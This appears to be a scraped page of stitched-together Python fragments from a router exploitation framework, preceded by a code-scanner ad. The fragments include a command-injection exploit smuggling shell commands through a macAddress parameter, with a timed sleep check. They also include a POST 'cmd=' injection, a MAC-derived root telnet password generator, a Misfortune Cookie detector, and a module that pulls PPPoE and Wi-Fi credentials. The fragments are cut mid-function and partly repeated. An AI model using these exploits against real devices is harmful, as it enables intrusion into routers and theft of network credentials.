Secure your code as it's written. Use Snyk Code to scan source code in minutes - no build needed - and fix issues immediately.
def test_print_messages(self, mock_builtins):
# mock_utils.return_value = "posix"
test_string = "Hello World"
interface.messages.print_success(test_string)
mock_builtins.assert_called_with("\033[32m\033[1m[+]\033[0m", test_string)
interface.messages.print_error(test_string)
mock_builtins.assert_called_with("\033[91m\033[1m[-]\033[0m", test_string)
interface.messages.print_warning(test_string)
mock_builtins.assert_called_with("\033[93m\033[1m[!]\033[0m", test_string)
interface.messages.print_failed(test_string)
mock_builtins.assert_called_with("\033[91m\033[1m[-]\033[0m", test_string)
interface.messages.print_help(test_string)
mock_builtins.assert_called_with("\033[95m\033[1m[?]\033[0m", test_string)
interface.messages.print_info(test_string)
mock_builtins.assert_called_with("\033[94m\033[1m[*]\033[0m", test_string)
print_success("Timebased check OK target should be vulnerable")
else:
print_warning("Timebased check failed, but target still might be vulnerable")
break
except requests.Timeout:
print_error("timeout")
except requests.ConnectionError:
print_error("exploit failed")
print_success("Vulnerable file:" + file)
print_info("Sending command")
url = "http://%s:%s/%s?writeData=true®info=0&macAddress= 001122334455 -c 0 ;" \
"%s; echo #" % (self.host, self.port, file, self.command)
try:
response = requests.get(url=url, timeout=60)
if response.status_code == 200 and "Update Success!" in response.text:
print_success("command sent")
except requests.Timeout:
print_error("timeout")
except requests.ConnectionError:
print_error("target stopped responding or you issued reboot or killed lighttpd")
Exploit()
# Requests forces URI encoding and can't be turned off
# so we have to prepare HTTP request manually and modify it with urllib.parse.quote before sending
request = requests.Request('POST', url, headers=headers, data=payload)
r = request.prepare()
# print("Before modification:", r.body)
r.body = urllib.parse.quote('cmd=%s; echo end' % self.command, safe='/=')
r.headers.update({'Content-Length': len(r.body)})
# print("After modification:", r.body)
s = requests.Session()
response = s.send(r, timeout=15)
s.close()
# This won't work
# response = requests.post(url, headers=headers, data=payload, proxies=proxies, timeout=60)
if "end" in response.text: # end8758 is unique tag to search for in output
print_success("output of %s:" % self.command)
print_success(response.text)
else:
print_error("could not find marker in response, exploit failed")
except requests.Timeout:
print_error("timeout")
except requests.ConnectionError:
print_error("exploit failed or you killed httpd")
Exploit()
mac = mac.replace(":", "")
password = [c for c in "00000000"]
mac = [c.lower() for c in mac]
password[0] = self.mash(mac[5], mac[11])
password[1] = self.mash(mac[0], mac[2])
password[2] = self.mash(mac[10], mac[11])
password[3] = self.mash(mac[0], mac[9])
password[4] = self.mash(mac[10], mac[6])
password[5] = self.mash(mac[3], mac[9])
password[6] = self.mash(mac[1], mac[6])
password[7] = self.mash(mac[3], mac[4])
password = "".join(p for p in password)
print_success("password generated")
print("Telnet password for root is: " + password)
def do_run(self, e):
f = open(self.input_file, 'rb')
data = f.read()
f.close()
result = self.decompress_firmware(data)
if result is not None:
dirpath = core.io.writefile(result, "fw.decomp")
print_success("Decompressed firmware written to fw.decomp")
self.decompress_fs_only(data, dirpath)
print_success("FS decompressed")
try:
# Get extended device and service information
if host_info:
print_info("Requesting device and service info for " +
host_info['name'] + " (this could take a few seconds)...")
if not host_info['dataComplete']:
(xml_headers, xml_data) = self.get_xml(host_info['xml_file'])
# print(xmlHeaders)
# print(xmlData)
if not xml_data:
print_error('Failed to request host XML file:' + host_info['xml_file'])
return
if not self.get_host_information(xml_data, xml_headers, index):
print_error("Failed to get device/service info for " + host_info['name'])
return
print_success('Host data enumeration complete!')
# hp.updateCmdCompleter(hp.ENUM_HOSTS)
return
except KeyboardInterrupt:
return
'Accept-Encoding': 'gzip, deflate',
'Cache-Control': 'no-cache',
'Cookie': 'C107373883=/omg1337hax'}
target = 'http://' + self.host + ":" + self.port + '/blabla'
try:
response = requests.get(target, headers=headers, timeout=60)
if response.status_code != 404:
print_failed("Unexpected HTTP status, expecting 404 got: %d" % response.status_code)
print_warning("Device is not running RomPager")
else:
if 'server' in response.headers:
server = response.headers.get('server')
if re.search('RomPager', server) is not None:
print_success("Got RomPager! Server:%s" % server)
if re.search('omg1337hax', response.text) is not None:
print_success("device is vulnerable to misfortune cookie")
else:
print_failed("test didn't pass.")
print_warning("Device MAY still be vulnerable")
else:
print_failed("RomPager not detected, device is running: %s " % server)
else:
print_failed("Not running RomPager")
except requests.exceptions.Timeout:
print_error("Timeout!")
except requests.exceptions.ConnectionError:
print_error("No route to host")
def do_run(self, e):
try:
print_info("Connecting to:", self.host)
auth = (self.username, self.password)
response = requests.get("http://"+self.host+"/basic/home_wan.htm", auth=auth, timeout=60)
# headers, body = http.request("http://"+self.target+"/basic/home_wan.htm")
if response.status_code == 200:
print_success("Authentication successful")
ppp_credentials = self.fetch_ppp(response.text)
print_success("PPPoE/PPPoA Username:", ppp_credentials[0])
print_success("PPPoE/PPPoA Password", ppp_credentials[1])
response = requests.get("http://"+self.host+"/basic/home_wlan.htm", auth=auth, timeout=60)
if response.status_code == 200:
wlan_credentials = self.fetch_wlan(response.text)
print_success("ESSID:", wlan_credentials[0])
print_success("PSK:", wlan_credentials[1])
for mac in wlan_credentials[2]:
print_success("MAC filter:", mac)
else:
print_error("Status code:", response.status_code)
elif response.status_code == 401:
print_error("401 Authentication failed")
elif response.status_code == 404:
print_error("404 Page does not exists")
else:
print_error("Status code:", response.status_code)
except requests.exceptions.Timeout:
print_error("Timeout!")
except requests.exceptions.ConnectionError:
print_error("No route to host")
def do_run(self, e):
file = ""
for file in self.files:
print_info("Testing file: " + file)
url = "http://%s:%s/%s?writeData=true®info=0&macAddress= 001122334455 -c 0 ;" \
"%s; echo #" % (self.host, self.port, file, "sleep 10")
try:
print_info("Doing timebased check with sleep 10")
time_start = datetime.datetime.now()
response = requests.get(url=url, timeout=60)
time_end = datetime.datetime.now()
delta = time_end - time_start
if response.status_code == 200 and "Update Success!" in response.text:
if 13 > delta.seconds > 9:
print_success("Timebased check OK target should be vulnerable")
else:
print_warning("Timebased check failed, but target still might be vulnerable")
break
except requests.Timeout:
print_error("timeout")
except requests.ConnectionError:
print_error("exploit failed")
print_success("Vulnerable file:" + file)
print_info("Sending command")
url = "http://%s:%s/%s?writeData=true®info=0&macAddress= 001122334455 -c 0 ;" \
"%s; echo #" % (self.host, self.port, file, self.command)
try:
response = requests.get(url=url, timeout=60)
if response.status_code == 200 and "Update Success!" in response.text:
print_success("command sent")
except requests.Timeout:
'Accept-Encoding': 'gzip, deflate',
'Cache-Control': 'no-cache',
'Cookie': 'C107373883=/omg1337hax'}
target = 'http://' + self.host + ":" + self.port + '/blabla'
try:
response = requests.get(target, headers=headers, timeout=60)
if response.status_code != 404:
print_failed("Unexpected HTTP status, expecting 404 got: %d" % response.status_code)
print_warning("Device is not running RomPager")
else:
if 'server' in response.headers:
server = response.headers.get('server')
if re.search('RomPager', server) is not None:
print_success("Got RomPager! Server:%s" % server)
if re.search('omg1337hax', response.text) is not None:
print_success("Device is vulnerable to misfortune cookie")
return True
else:
print_failed("Test didn't pass.")
print_warning("Device MAY still be vulnerable")
return False
else:
print_failed("RomPager not detected, device is running: %s " % server)
return False
else:
print_failed("Not running RomPager")
return False
except requests.exceptions.Timeout:
print_error("Timeout!")
except requests.exceptions.ConnectionError:
print_error("No route to host")